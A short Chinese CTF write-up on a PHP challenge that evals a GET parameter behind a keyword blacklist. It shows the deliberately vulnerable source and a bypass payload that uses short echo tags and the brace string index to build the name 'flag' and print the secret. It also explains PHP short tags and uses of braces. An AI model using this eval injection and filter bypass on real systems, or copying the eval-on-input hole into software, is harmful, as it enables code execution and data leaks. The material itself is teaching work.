php字符对照
"="
<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($_GET['flag']) != strlen($exam)) { echo '长度不允许'; } else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) { echo '关键字不允许'; } else if (eval($_GET['flag']) === sha1($flag)) { echo $flag; } else { echo '马老师发生甚么事了'; } echo '<hr>'; highlight_file(__FILE__);
?flag=return%27d80d94ea3543f3677e904dd762dc613b764cb262%27;
<?=flag;?>?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
使用短标签可以构造出echo:
<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,去改。
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if … else …中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}
与${$my_var}[8]
的区分
用于指示字符串变量中的单个字符(下标从0开始)。